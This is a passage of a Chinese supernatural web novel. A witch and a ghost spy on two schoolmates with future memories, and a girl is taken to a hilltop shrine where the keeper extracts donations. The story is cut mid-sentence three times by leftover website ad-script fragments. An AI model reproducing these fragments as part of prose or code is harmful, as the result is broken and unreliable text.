“戴……”高照刚要说话,停顿了好一会儿,忽然改口,“没错,婷婷。我梦见她来找我们,还提了个建议。” 他站起来,一瞬不瞬地望着面前的少女。 昨天她难得请了一整天的病假,今天看起来也没什么精神。漆黑长发只随意扎成低马尾,脸色有点苍白,嘴唇却红得像玫瑰花瓣。 看起来格外文静,又脆弱得惹人怜惜。 是与平时全然不同的,另一种美丽。 彩云易散,琉璃薄脆。 可没人知道,这冰雕玉塑般的壳子底下,其实藏着一颗又冷又硬的钻石心。 听到高照那个有意为之的称呼,戴玉粒下意识捏紧了拳头,忍了又忍才松开。 王稻美收拾完课桌,再次转头输出:“高照你是不是睡傻了,胡乱喊什么呢,这里没人叫‘婷婷’!” “是吗?”高大少伸了个懒腰,抬腿就往教室外走,“既然这样,那我姐提的建议,就不能说给不相干的人听了。” “想知道的话,吃完饭再来找我。” 他挥了挥手,微弓着背的散漫身影转瞬消失在门口。 王稻美“啧”了一声,眼神非常犀利地对好友说道:“粒粒,我觉得他准备耍你。” “我也这么觉得。”戴玉粒按了一下额角,让昏沉沉的头脑恢复清明,“所以我打算去听听看,如果他胆敢胡说八道——” 三好学生面无表情地从桌子抽屉里掏出一本崭新又厚重的《解题王:高中数学快速提分样题库》。 “要么今天之内做完这本《解题王》,要么就得把它吃下去。” “……” 这一瞬间,王稻美同学有点眼神涣散。 毕竟,戴玉粒向来是个说到做到的乖宝宝。 “好吧,那高少爷只能自求多福了。” 两个女孩手拉着手,愉快地奔赴食堂。 午休时间一到,戴玉粒拎着那本看起来能砸死人的《解题王》,推开高照他们宿舍房门。 “悬姐姐跟你说了什么……”话还没问完,三好学生的脸色已经黑得非常彻底。 “你们居然在宿舍里偷偷吃火锅?” 而且为什么一个个都不穿上衣?! 听到她的声音,高照从后阳台走出来,手里还若无其事地拎着刚拧干的裤子。 “咦耶!照哥居然秀身材了!” “简直千载难逢啊,赶紧拿终端拍下来!” 屋子里那几个当即炸开了锅。 戴玉粒直直盯着高照的脸,目不转睛,甚至可以说是目眦欲裂——她担心自己的视线如果不小心往下挪,晚上可能也会做噩梦。 那时候她才惊觉,这家伙根本就是个变态。 17. 骗人的鬼 “你们吃完了赶紧收拾收拾啊,一屋子都是呛死人的火锅味,真不像话。” 高照的语气那叫一个义正词严。 假如他那条刚洗完准备要晾干的裤子上没有残留着星星点点的辣油痕迹,应该会更有说服力。 戴玉粒早已退到走廊外,眼不见为净。 宿舍楼坐北朝南,她抱着那本题库站在高照他们房门口,举目远眺,正好是许家卤煮店、霞山墓园乃至古堃区的方向。 高照晾完衣服再走出来时,总算放过了戴玉粒的眼睛。 他也换上了那套熊猫配色的新校服。 其实伍港一中有规定:本校学生天天都得穿校服。无奈有些人就是想要特立独行,直到今天,才破天荒头一遭把校服套在身上。 戴玉粒觉得有点不寻常,但她的重感冒还没好,思维依然混沌,好不容易才想到:可能是因为高署长这几天还在伍港区,所以他儿子才不得不暂时变乖。 她没精力再多想,哑着嗓子开口说道:“前天晚上,我做了一个很奇怪的梦。” “梦见你的悬姐姐了是吧?” 高照垂着眼帘,手上动作有一搭没一搭的,慢悠悠拆开一小条长方形的浅绿色包装纸。 “对,但也不止梦到她。还有很多我不知道该怎么——”戴玉粒的话说到一半,嘴里忽然被塞了片口香糖。 一股清凉微甜的薄荷味。 “你就不觉得后悔吗?婷婷。” 高照站在她旁边,肩膀倚着墙壁,又摸出一条草莓味泡泡糖。 眼风扫过少女怀里那本厚重的《解题王》,他脸上倏地浮起轻蔑笑意。 “就算是知道,我将来会变成一个烂人,会一直变本加厉地欺负你,你也不后悔现在这些毫无必要的付出吗?” 戴玉粒紧握着题库书脊的手背绷起青筋,面上却毫无波澜:“悬姐姐根本就没有跟你提什么建议吧?” “当然有啊。”高照对她的避而不答似乎感到不满,微微低头,吹出个粉红色的泡泡—— “叭”一声,泡泡破裂。 浓郁甜腻的草莓香气直扑到戴玉粒脸上,她瞬间忍不住偏开头。 高照笑眯眯地欣赏着女孩儿清冷而秀丽的侧脸,继续嚼泡泡糖。 “我姐建议你以后嫁给我。” “高照,你疯了吗?”戴玉粒盯着他,蹙眉问道。 她这句带着含糊鼻音的质问却被门后一连串七嘴八舌的怪叫声给淹没了。 “卧槽!你们听见了吗,照哥这是直接求婚啊!” “玉米粒实在是牛!太牛了!杜倩倩费尽心思都没能把照哥拿下,她倒好,一下子快进到求婚了。” “你还乱叫什么,待会儿记得喊嫂子!” 喽啰们正吵嚷着要出来,高照却从外边把宿舍门栓上了。 戴玉粒依然满脸不可思议地盯着他。 “我没疯,很清醒。” 穿着校服的高照站直了身体,眉目俊朗,与混乱梦境中那副鼻青脸肿的丑态有着天壤之别。 多了什么呢? 或许,只是彻底腐烂之前,尚存的最后一抹青涩罢了。 “我喜欢你,戴玉粒。” … 郑颢缩在沙发上抱住自己,那副怕得要死的样子,简直比在自家房子里撞鬼的许兴邦夫妇俩还要夸张。 女巫飞入水晶球投影中,然后从卤煮店一楼天花板下面飘浮的尖顶帽里钻了出来。 此刻她正挥舞着小手绢,欢送自己另外请来的两个帮手—— “再见,二十一!再见,安安!” 黑暗中飘出一阵诡异的孩童笑声,如蝙蝠起落般,不断回响在这座老房子的每个角落。 楼梯上残留着两串血迹斑斑的小脚印,最终隐没在墙角阴暗处。 显然,女巫的“好朋友”除了号称「和平之盾」的超强人工智能以外,也包括这一对婴灵。 它们隆重出场,临时客串早年间被许家狠心堕掉的那两个女胎,今天仅用十秒时间就成功吓晕了许兴邦。 至于行李堆里瘫着的李娇娇母子俩,则是冯筱迁的杰作。 “很好!非常好!”女巫飘浮在尖顶帽下方,一脸赞赏地鼓掌,“我宣布:代号‘恶鬼投胎’的本次恐吓任务,圆满完成!” 沙发上的知了猴:“啥?恶鬼投胎?投什么胎?”“你知道许兴邦和李娇娇为什么那么容易就被吓晕了吗?” 女巫和笔仙一前一后,从水晶球投影里面飘出来。 后者用一双血丝斑驳的眼白看着他,语气森冷:“我们说,要来当许家的外孙女。” “我们”? 也就是说,一个笔仙加上两个婴灵。 都会变成许晓芊的娃。 郑颢顿时头皮发麻,同时动作僵硬地转过头,偷偷瞟了最可怕的女巫一眼—— 女巫她…… 正在往桌子上“砰砰砰”码出一排砖头大小的奶酪盒子,嘴里还念念有词:“冰淇淋冰淇淋冰淇淋……” “您可真是在毫无必要的事情上格外执着啊!”知了猴大惊。 上次不就是这些玩意儿激怒了——此刻正飘在桌子中间发愣的笔仙——吗? 哦不对,激怒笔仙的又好像是自己那个“咔咔乱杀”的垃圾技能? 郑颢默默缩到沙发另一头,忽然想起还有件事,自己差点忘了说出来。 “对了,女巫大人。我被……呃不是,许晓芊被胡锐锋拖到烂尾楼里的时候,我看见有个人也躲在那里。” “谁啊?”岑小哉头也没抬,专心盯着桌上渐渐被冰霜覆盖的奶酪盒子们,一双赤金竖瞳比深夜山路的远光灯还亮。 知了猴举起一个抱枕,只露出两只小眼睛,看了看那层冰霜的来源就火速收回视线。 这怎么行? “卢炯烽”这三个字要是说出来,笔仙绝对会原地暴走的。 不过话说回来,胡耀祖的老婆叫许贞贞,也不姓卢,为啥他们胡家会莫名其妙蹦出个“卢炯烽”? 郑颢自顾自纠结了一会儿,忽然看到墙壁上的水晶球投影开始跳帧,画面瞬间从许家卤煮店变成了伍港一中。 他定睛一看,是戴玉粒她们的教室。 “嘿,这是戴姐她们在月考呢。” “我去,二世祖居然交白卷!他难不成是睡了整整一个上午?” “哈哈哈哈,戴姐手里这本题库好厚啊,看起来能把我砸死。” 郑颢还没笑完,就听见戴玉粒非常威武霸气地说出:“要么今天之内做完这本《解题王》,要么就得把它吃下去。” 知了猴的笑容顿时僵在脸上。 好可怕的惩罚! 此刻,女巫的冰淇淋也终于冻好了。 她喜滋滋地打开其中一盒,然后端起来飘到沙发上空——即水晶球投影正前方,开始享用美味:“哟呵,看来探员姐姐跟那个二世祖都‘觉醒’了。” “二世祖?”冯筱迁也跟着凑过来,“坐”在沙发上,也可以说是沙发里面。 她身上那股阴森森的寒气一下子将郑颢冻了个激灵。 “什,什么‘觉醒’?”知了猴磕磕巴巴地问道。 “简单来说就是,这个时空的她们拥有了七年后的记忆。” 郑颢听了,但不太懂。 不过他当下的注意力已经全部被投影里面男生宿舍的火辣场景给吸引过去了。 “哎呦喂,不就洗个裤子,脱得跟去游泳似的……色.诱!这绝对是在色.诱!” “没想到二世祖后来当队长的时候看着挺虚,七年前居然这么威猛!” “戴姐都差点招架不住了,嘿嘿嘿。” 女巫狂挖冰淇淋的勺子蓦地一顿。 接着,她幽幽瞥向笑得有点猥琐的那只知了猴。 后者骤然从沙发倒头栽了下去,脸和地毯进行了一次此生难得的亲密接触。 “别在这里发癫,探员姐姐只是觉得辣眼睛而已。”岑小哉收回视线,继续恰冰淇淋。 知了猴揉着脸,委屈巴巴地爬回沙发上,不敢再轻易口嗨了。 笔仙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忽然问道:“这两个学生是什么人?” “未来的古堃区安全署下层刑侦支队只会拖后腿的队长高照,以及最优秀的侦查员戴玉粒。”笔仙点了点头,眼瞳中的血丝消散了一些,神情甚至称得上是饶有兴致。 “戴玉粒七年后会嫁给他吗?” 女巫:“这绝无可能。” 郑颢也回忆了一下,脑子里缓缓浮现出高照被戴玉粒揍得门牙断裂、鼻梁骨折、左手臂脱臼,外加轻微脑震荡的那副惨状。 “呃,二世祖应该不至于有受虐倾向……吧?” 但是接下来,水晶球投影中就悠悠飘出来一句:“我姐建议你以后嫁给我。” 听到这句话的一人一鬼一女巫:“……” “女巫大人,您真的确定二世祖已经拥有七年后的记忆?”知了猴整个人呈现出一副被震碎了三观的惊骇状,“难道他真的是个受虐狂?” 女巫大人冷笑道:“盒盒,他都承认自己将来会变成一个无可救药的烂人了,你说呢?” “那,戴姐她这时候怎么有点优柔寡断了,不应该呀。” “没关系,我会出手。”岑小哉连冰淇淋都不挖了,恶狠狠盯着投影中一脸肆无忌惮吹泡泡糖的男生。 “务必让探员姐姐甩掉这个包袱,七年后直接取而代之。” 冯筱迁倏地问道:“女巫,高照对戴玉粒挺好的,你为什么要阻止他们在一起?” “呵呵呵,大概是因为,他俩性格不合?”郑颢斗胆解释,但在感受到房间里逐渐降低的温度之后,他越说越小声。 “探员姐姐怎么可能喜欢一个烂人?” 女巫的话刚说完,郑颢立即双手抱头作鸵鸟状,像是生怕冯筱迁“嘭”一声原地爆炸。 幸好,冯筱迁没有立刻变身为大杀四方的怨灵,她只是更加困惑了。 “烂人?高照对戴玉粒不是很好吗?他明明那么喜欢她……” “喜欢她?对她很好?所以他的一帮小弟们就整天在探员姐姐上学时跟踪她?”岑小哉目光呆滞地看着冯筱迁,手上的最后一勺冰淇淋彻底吃不下了。 “而在此之前,她们学校附近才刚刚发生了歹徒将女生拖进烂尾楼侵害的恐怖事件。” “欸等一下,这说不定是个因果关系呢。” 知了猴忽然灵机一动,兴奋到忘记自己几分钟前脸着地的惨痛经历。 “二世祖的小弟们不也没对戴姐怎么样嘛,可能就是为了保护她。” 话刚说完,某人的脸和地毯再次进行了亲密接触。 “高照是打算英雄救美吧?”笔仙歪了歪头,“确实很浪漫啊。” 这回,女巫的尖顶帽冲天而起。 “保护个大蘑菇!浪漫个下水道啊!探员姐姐自己就能打爆恶棍的马桶脑袋,干嘛还要被一群烂人洗脑诈骗仙人跳啊!” 岑小哉满头的粉毛像蒲公英一样炸开,无数金色眼珠在其中涌现出来,伴随着一阵古怪而模糊的低语——只不过被她自己滚雷般的咆哮给盖过去了。 “就这个烂人头子,大学时还跟所有同学宣扬探员姐姐的外号是‘男人婆’!” “那他对戴玉粒真的有很强烈的独占欲。”冯筱迁脸上露出了微妙的笑意。 这下连郑颢都满脸匪夷所思地看向她,眼神里偷偷藏着一句“您没事儿吧?” 女巫几乎要被这个笔仙的迷之微笑打败了。 “好的,现在请你换位思考一下——” “假如你是一名新唐公共安全大学侦查学专业的优秀毕业生,能单枪匹马打十个!” “加入刑侦支队后,每天却只能干后勤杂活,还要被领导安排去给某个一无是处的二世祖当专属保姆!” “空有一身本事和抱负,却要受废物的压制,完全无法施展。你难道不觉得这样很痛苦吗?”冯筱迁听完,非常认真地思考了一会儿。 女巫那双赤金竖瞳此刻睁得溜圆,并且闪闪发光,显然对她的回答充满了期待。 在场的唯一一个凡人心里却缓缓升起不祥的预感。 18. 物归原主 “女巫,你不懂。” 冯筱迁脸上再次展露一抹微妙笑容。 “这一定是高照对戴玉粒爱而不得,所以才用这些幼稚手段吸引她的注意力。” “再说了,有哪个男人愿意让自己心爱的女人以身涉险,整天对付一些穷凶极恶的歹徒?高照让戴玉粒做后勤,不也是为了她的安全着想,这怎么能怪他呢?” 她这么一说,好像也有点道理? 郑颢简直忍不住想点头表示赞同了。 只不过…… 旁边忽然有一股带着焦糊味的浓烟飘过来,及时阻止了他小鸡啄米般的点头动作。 等等,房间里哪来的浓烟??? 他猛地扭头看去,那叫一个大惊失色,两颗眼珠子差点夺眶而出。 ——沙发边上俨然飘着个火团,烧得噼里啪啦,里面隐约还能看见戴着尖顶帽的漆黑人影。 “啊啊啊啊完了快救火啊,女巫大人被气到自燃起来了啊!!!” 按理来说,笔仙身上的阴寒气息正是灭火利器,但此刻,她却也无暇顾及自燃中的女巫。 “……杜倩倩费尽心思都没能把照哥拿下……” 水晶球投影中传出男生宿舍里的喧闹起哄,冯筱迁清清楚楚听见了另一个将她逼上绝路的名字。 “又是你,杜倩倩!” 她原本沉寂的眼眸中再次翻涌起浓重血雾,周身瞬间暴涨的怨气一下子将大半个房间温度降至冰点。 左边仿佛骤然打开的速冻库,将人冻得骨头缝里都隐隐生疼。右边是个烧成焚化炉内部的大火球,焦烟和热风明明就在半边房间里横冲直撞,却并没有触发烟雾警报器。 好巧不巧被困在“速冻库”与“焚化炉”这般冰火两重天正中间的夹心知了猴:“……救命!” 就在郑颢感觉自己快要再次狗带之时,投影中才悠悠飘出了高照仿佛情深不能自抑的两句话—— “我没疯,很清醒。” “我喜欢你,戴玉粒。” 戴玉粒:“……” 郑颢:“……” 大火球:“……” 高照的深情表白只感动了冯筱迁这只鬼,甚至连她身上的阴冷怨气都停滞了好几秒。 堂堂一个笔仙,居然是个究极恋爱脑。 这谁能想到? “抱歉,我没心情听你开玩笑,剩下的时间已经不多了。”画面中,戴玉粒的神情竟又恢复了冷静,近乎漠然。 “4月30日,许家灭门案,六尸七命。” 少女喑哑的尾音未落,投影外面熊熊燃烧的那个火团已“唰”地熄灭,不见半点灰烬。 “不好意思,有点失态了。”女巫与她发间隐藏的万千金眸同时睁开眼,“探员姐姐提醒了我——六尸七命、七年、七日,正是为了凑成七七之数!” “七七……四十九?有什么含义吗?”郑颢赶紧往她那边蠕过去,远离还在持续散发寒意的可怕笔仙。 冰镇奶酪盒子们排成长队,有秩序地飞入虚空,消失不见。 女巫挥舞着手里那把冰淇淋勺子,一行火焰构成的文字在奶酪盒子队列消失之处缓缓浮现:“‘大衍之数五十,其用四十有九。所以成变化而行鬼神也’。” 知了猴被这一连串的旧唐文整得很懵圈:“啊这,女巫大人您还懂算卦呢?” “不,完全不懂。” 岑小哉一脸嫌弃地摇了摇头:“整篇《十翼》八千多字,要不是我师尊硬逼着我全文背诵,我才懒得浪费脑子记这些有的没的。” “实际上,我讨厌一切与数字有关的东西,包括但不限于魔药配比、卦象以及数学题。” 她自言自语般咕哝完,手上的冰淇淋勺子也变成了一把小扫帚,长短跟原来的勺柄相差无几。 作为弱小凡人,郑颢可不敢去细究勺子和扫帚两者之间的关系,只好赶紧换个话题:“那咱们接下来要干啥?” “那当然是竭尽所能地——”女巫脸上也展露了一抹微妙笑容,“捣乱。” … 天还没亮,巷尾那户人家养的小公鸡才刚打鸣,许晓芊就被许老太太那把尖声尖气的嗓子喊得一激灵:“快点起来了大丫头,咱们去找黄先生给你瞧瞧。” 她迷迷瞪瞪地睁开眼,蓦地看见奶奶那张黑皱如盐渍酸梅的脸,顿时无比清醒。 “瞧,瞧什么?”许晓芊相当疑惑。 她昨晚睡得很早,隐约听到楼下有点嘈杂声响,但她房间在最顶层阁楼里,外边基本就是个堆得满满当当的杂货间,夏暖冬凉,唯一优点是隔音效果好得出奇。 所以,许晓芊根本不知道家里到底又出了什么事情。 许老太太瞅了她一眼,眉头挤出深深的川字纹,满脸写着晦气。 “就你话多!问什么问,有啥好问的,听我们的准没错!” 换做以前,许晓芊可能就焉头耷脑地爬起来跟着奶奶出门了,可今天不知道怎么回事,她心里觉得很别扭,也很抗拒。 许晓芊磨磨蹭蹭换好衣服,正准备下楼,走到楼梯口却停下了脚步—— 她看见一抹鲜艳得刺目的猩红色。 尖顶帽原本飘浮在一楼天花板下面,不知何时飞到了三楼和上边阁楼的楼梯拐角处,似乎已经等候多时了。 “奶奶她们,都看不见这顶帽子吗?”许晓芊在心里直犯嘀咕。 先她一步下楼的许老太太果然头也没抬,径直就从这顶非常显眼的猩红色帽子下面走过去……实际上,尖顶帽还险而又险地往上飞高了两三寸,才没撞上老太太那张臭脸。 许晓芊愣了一秒,带着几分迟疑跟着走下去。 尖顶帽又朝她摇了摇自己尾端的小毛球,动作颇为欢快。 女孩慢吞吞走过拐角处,尖顶帽就“咻”地化作一道红影飞到她前面,再晃晃悠悠继续往下飘。 许晓芊脸上不自觉扬起一丝微笑,那股充斥心中的忐忑不安忽然就消散了。 “也许它会帮助我,就像戴玉粒那样。” 尖顶帽倏地停住,帽尖如猫尾巴般竖立起来,尾端小毛球也炸得非常蓬松。许晓芊吓了一跳,后知后觉想到:它好像是听到自己的心声,所以不高兴了? “丫头!你又在磨蹭什么呢,还不赶紧下来!” “哪家姑娘像你这衰德行,见天的啥也不干,一副懒筋懒骨,也不知是学了谁的败家样儿……” 在许老太太一叠声的催促下,许晓芊实在顾不上再探究那顶古怪帽子的心情。她跑到楼下,囫囵喝了几口白粥,就被奶奶拽出家门去等车了。 祖孙俩在巷口站台搭上了一辆灰头土脸的破公交,开往伍港区北郊。 车厢里空荡荡的,只有一个戴着耳机的卷毛男青年坐在后边,穿了件厚实夹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 克衫,口罩围巾一应俱全。 “今儿咋这么冷,倒春寒呢这是?”司机师傅搓了搓手,小声嘀咕了一句。 许晓芊这段时间体温偏高,上车之后呼吸甚至有点冒白气。许老太太年纪大了,更是被冻得瑟缩起来:“哎呦,我说师傅啊,您倒是把暖气开上呐,这车里冷得跟个大冰箱似的!” 司机也不太乐意了:“暖气开着呀,咱车上这扶手都是加热的呢。” “行行行,那赶紧走吧。我们还赶着要去丹庚山拜‘彩衣老祖’,可别误了好时辰。” 许老太太平日里多嘴念叨惯了,出了门也口无遮拦,心里想啥都要大声嚷嚷出来:“也不知这丫头是上辈子造了什么孽,自己命不好就算了,还要连累一家老小,全跟着走霉运,真是丧门星!” 只不过,许老太太骂骂咧咧半天,旁边的许晓芊是半个字也没听进去。 她双目圆睁,直愣愣盯着公交车的后车厢,内心的惊愕程度几乎超过了第一次看到那顶尖顶帽跟自己打招呼。 ——卷毛男青年背后不知何时多出了两个人。 “嘘。” 迎着许晓芊的视线,犹如精怪的女孩轻勾嘴角,竖起食指,是个噤声的手势。 她的发型酷似一颗浅粉色海藻球,毛发间却有金光时隐时现,闪烁频率与那双明显非人的赤金竖瞳互相呼应。 古怪女孩身侧“坐”着一名长发及腰的女子,艳丽面容以及身上白裙都缠绕着一股污渍般的青灰诡气。 “‘她’们,到底是什么?用不用提醒一下前面那个卷毛大哥?” 许晓芊不敢细想,整个人都僵住了,起码有好几秒不敢眨眼。生怕下一刻车厢里就变成了恐怖片中的那种血腥场景。 一抹红影倏地掠过她面前,直冲向粉发女孩。 后者身形随之渐渐拔高起来,许晓芊的心跳也快了几拍。但她忽然发现,女孩所穿的背带裤和短靴,以及那顶稳稳落在她头上的尖顶帽,分明是相同的猩红色。 这大概算是,物归原主了? … 丹庚山,其实就是一块小土坡。 这地方以前还有个村子,经过几番开发规划之后,百来户人家基本上都搬得差不多了。 如今也就山侧那儿一处老宅院里边,有人供奉着号曰“彩衣老祖”的神仙,据说求签问卦特别灵验,因此香火还算鼎盛。 公交车在山脚下的路口停了一小会儿,许老太太下了车,对孙女刚刚一路上的默不作声觉得很纳闷,却也挑不出什么错处来说她,只好悻悻拉着她往“彩衣庙”的方向走去。 伍港区最近好几天都在下雨,北郊这边的雨势虽不算大,山路还是有些坑坑洼洼,不怎么好走。 许老太太一手搀着孙女,另一只手还提着个竹篮,里边沉甸甸地装了好些专门买来拜神的水果和点心。 “待会儿见了黄先生,可别杵那儿当个锯嘴葫芦。他问啥你都得好好答,不要慌里慌张,让人一看就知道你是个没出息的。” “知道了。”许晓芊心不在焉地应了一句,忍不住扭头去看那辆已经往回开的破旧公交车。 就在她们下车之前,那个小女巫抱着手臂,旁若无人地说道:“我能感觉到,这座山上藏匿着一股非常邪恶的气息。记住这个地方,知了猴。” 卷毛青年立即往窗外看了一眼,佯装咳嗽,点了点头。 19. 心诚则灵 “她们竟然是一伙的!”许晓芊半是震惊半是困惑,走下车门时还差点踩空,“知了猴?那不就是蝉?那个人的名字也太奇怪了吧。” 用她们伍港话来说,蝉的发音是“卑蜒”。 这种昆虫在伍港显然很不受待见。 乡野间甚至流传着一种很玄乎的说法:七年生而七日死的“卑蜒”,是旧唐时的宫廷内侍们魂归幽都之后,因形体残缺,无法再转世为人,所以才会躲藏在高处放声悲鸣。 现下快走到半山腰了,许晓芊还有点魂不守舍。 猩红色尖顶帽仿佛留在她的脑海里盘旋飞舞。 既然它的主人是那个粉发女巫,那又怎么会莫名出现在自己家里? 除此之外,女巫身边的艳丽女子明显不是活人。被叫做“知了猴”的卷毛青年,会不会……也不是什么正常人类? 说不定,是“卑蜒”变成的妖怪! 许晓芊越想越觉得心里发毛。 当然,她并未发觉,当女巫在车上比出那个噤声手势之后,有一些奇怪的声音与现象就此被隔绝在外,无法再侵入她的心智。 正如当下。 丹庚山的风刮得很急,从低洼处的林子里穿过时,引发一阵又一阵的鸟叫犹如哭丧。凄风之间,隐约夹杂着梆子声,还有几句古怪吆喝—— “人失土,土食人,谁知世间多疾苦。” “今夜子母共长眠,昨日六亲腹中住。” “身入棺,棺如身,为求大道叩天门。” “老弱病残七重煞,不见日月不透风!” 距离许晓芊她们祖孙俩大约十米开外,一棵长在路边的歪脖子树忽然小声开口:“女巫大人,我怎么好像听到,这山上有人在唱歌?” 准确来说,应该是藏身于某种“涂了隐形药水的交通工具”之中的郑颢在说话。 至于这个交通工具究竟长什么样子,他也不太清楚——正如他至今搞不懂,尖顶帽到底是女巫的本体还是她的召唤物:为什么那玩意儿一会儿在许家卤煮店上蹿下跳,一会儿又在女巫头顶神出鬼没? 反正这看不见的交通工具动起来比自行车快不到哪里去,虽然是全自动驾驶,却很容易偏移路线,跟出门遛弯的小狗似的,动不动就要凑到路旁草丛里去扒拉两把,然后嗅一嗅。 “它牡的!难怪黄德寿后来能够炼出摇心尸,还能置换因果,原来他费尽心思造了个‘七煞阵’去控制那些冤魂,其中的阵眼还是一对‘子母煞’!” 岑小哉抬手扯了一下空气,神情和动作也很像个无可奈何的铲屎官。 “不过现在这个阵法还没成形,只能算是某种扰乱心神的小手段罢了,最多也就让你睡觉时梦见一些正常人看不到的东西。” 正常人——看不到——的东西? 知了猴的脑子里立即警铃大作:“要不,您举例说明一下呗?” “婴灵、伥鬼,或者不可名状的巨大泛维度存在物投影之类……”话还没说完,女巫就忍不住一脸疑惑地扭过头,“咿?谁在毛毛虫车上抖腿?” “呃那个,不是抖腿。”郑颢的声音有点飘忽,已经连“毛毛虫车”这么玄妙的玩意儿都无心探究了。 “我就是,有亿点点害怕。” 婴灵的威力,他也算是在水晶球投影里领教过了。更何况“伥鬼”还有什么“不可名状的……投影”,听起来就必然不是什么好相与的存在。 “放心,问题不大。”岑小哉看似悠闲地摆了摆手,“事实上,魔法也只是一种人类无法理解的高维科学而已。” 很好,这种解释很女巫。 也就是说,根本听不懂。 郑颢干笑了两声,果断进一步转移话题:“话说回来,笔仙呢?她到哪里去了?” 然而,新话题似乎也进行得不怎么顺利—— 女巫的尖顶帽又一次冲天而起:“笔仙?她不是一直呆在你旁边吗!” 她的尖锐暴鸣成功引发了某个弱小凡人内心的滚滚雪崩:“我去!这谁知道啊!我现在连自己都看不见,低头就只能看到山路了!” 等会儿,涂了隐形药水的不是“毛毛虫车”吗?为什么他会看不见自己?甚至也不大能感觉到自己的肢体存在了? 知了猴终于后知后觉,开始疑心这只交通工具的运载方式,似乎跟自己想象中有着极其巨大的差别。 “毛毛虫车!现在立刻马上,加速前进!我们必须赶在笔仙闯入对方地盘之前把她拦下来!” 女巫一声令下,郑颢整个人突然像她的尖顶帽一样腾空而起,开始忽高忽低往前飞去。 “没错,你的确从一开始就被它吞进肚子里了。但不用担心,除了体型之外,它跟普通毛毛虫没什么区别,只喜欢啃啃叶子,所以在这么短的时间内是绝对不会把你消化掉的。” 本以为自己是“乘客”实际上却莫名其妙变成“食物”的知了猴:“哈哈,您干脆让它把我消化掉算了。” “那怎么行!”女巫立马拒绝了他,“你不在毛毛虫车的食谱上,这样做很不利于它的身心健康,也会让我涉嫌虐待智慧交通工具的。” 郑颢:“……” 所以凡人的身心健康就完全不归你们魔法世界负责了对吧? 无论如何,被原地起飞的毛毛虫车颠了半分钟之后,她们终于抵达了那座所谓的“彩衣庙”。 大老远就能看见,似乎有一层无形结界将冯筱迁阻挡在大门三尺外,她怎么也穿不过去,只能眼睁睁看着许晓芊祖孙俩从自己身旁走过,径直迈入门口。 原本冯筱迁是打算附在许晓芊身上混进去,最后却失败了。 因为,正当笔仙朝小姑娘扑上去的前一秒,隐形毛毛虫车——连带着它肚子里的知了猴一起,猛然抢到了她的前方,再“嗷呜”一口将笔仙吞下。 而在知了猴看来,彼时彼刻,就是他本人不受控制地扑向了那个怨气冲天的女鬼。 好巧不巧,笔仙有所察觉地转过头来,没有半点瞳仁的眼眸里淌出浑浊血泪。郑颢差点就眼对眼鼻对鼻地撞上那张青灰色的艳丽面容,阴寒气息一瞬间几乎连他的大脑都冻僵了。 “冯筱迁,你冷静一下!”女巫也终于及时赶到,“这里面的东西可不是那么好对付的。” “我感受到……胡炯烽……他在这里。”笔仙近在咫尺,僵立在郑颢的面前。 她的喉咙上蓦地突起,一枚钻戒从皮肉中缓缓浮出。笔仙抬手,猛地将钻戒摘了下来,随着“噗”的一声闷响,暗色如墨的血污汩汩而下。 铂金戒圈上镶嵌着的粉钻早已黯然失色。 “我要杀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了他和杜倩倩,我要报仇!” … 许晓芊对这座“彩衣庙”的第一印象是“很闷”。 两面院墙和门楼、正殿的屋顶将天空切割成非常规整的长方形,却仿佛将云层颜色也框得昏黄暗沉起来。 而且不知道怎么回事,她总依稀听到一阵蚊虫嗡嗡的声音。可这个小庙里烧香烧得烟雾缭绕,根本就连半只苍蝇蚊子都看不到。 反倒是走进庙门之前,许晓芊很明显地感觉到,背后刮过了一阵阴风。回头看去,却什么也没有,仍旧是那片草木稀疏的荒凉山地。 许老太太虔诚跪拜的时候,上一个香客才刚拜完“彩衣老祖”,正在神台边上等着庙祝解惑。 许晓芊就站在旁边帮着奶奶点香、摆供品,虽说无意,也不免听了一篓子的家长里短和鸡飞狗跳—— 那香客是个体态壮实的中年妇女,絮絮叨叨跟庙祝抱怨着她的丈夫“天天打麻将不干活,赢了就去喝酒,输了也去喝酒”。 喝醉了半夜回家就一直打她,两个孩子哭着求爸爸别打了也没用。 “黄先生啊,我之前跟你们黄老先生求过符水给他喝,喝了以后他已经好几年不这样了。可今年不知怎么,就又开始发作,会不会是那道符没效果了呀?” 庙祝笑眯眯地摇了摇头:“常言道,心诚则灵。刘大姐,只要你不生杂念,乐善好施,老祖自然会保佑你家和万事兴。” “心诚则灵,乐善好施?”刘大姐愣了一会儿,才恍然大悟般掏出了钱包,“哦哦,好,那我要捐多少功德才行呢?” “欸——这要看你自己的心意,别人说出来的可都不能算数。” 中年妇女犹豫了几秒,一咬牙将钱包里整卷红钞都拿出来,塞进功德箱里。 “这些都是我去年在服装厂加班干活赚的钱,希望老祖能够明白我的一片苦心。”说到最后,她抬起手飞快地抹了一下眼角,却掩饰不住声音里的哽咽。 许晓芊听完了全程,转头看向神台,感觉自己嗓子眼里堵着一团棉絮,不上不下,说不出来的难受。 这座所谓的“正殿”其实就是一间砖瓦房,房梁上悬挂着长长短短几十匹彩色绸布,往上一望,屋顶黑压压的,简直密不透风。 最宽大的一片红布就垂在神台正中央,将“彩衣老祖”的塑像遮挡得严严实实。 那个中年妇女最后匍匐在地,重重磕了三个响头。 目送她独自走出“彩衣庙”的大门,许晓芊再次看向神台上遮着的那张红布,心里浮现一个疑问:“她的丈夫真的会改邪归正,做一个好男人吗?” 下一秒,她却冷不丁对上了庙祝的视线,仿佛被什么毒虫蜇了一口。 “姑娘,可不能盯着老祖看呐!” “不好意思啊黄先生,这丫头不懂事,我回去一定好好教训她!”许老太太连忙伸手往许晓芊手臂上“啪”地打了一下,又狠狠剜了她一眼。 “没事没事,毕竟她现在是一个人吃两个人长,身份比较特别,老祖都会多多关照的,所以还是注意一点比较好。” 黄德寿还是笑得慈眉善目,却别有深意地看向许晓芊依然平坦的小腹。 许老太太惊诧不已,点头道:“对对对,我们这次来,就是想求几道平安符,最好是能驱邪辟凶的那种。” 20. 亏本买卖 神台旁边摆着成套花梨木桌椅,是黄德寿给人算命解惑的地方。 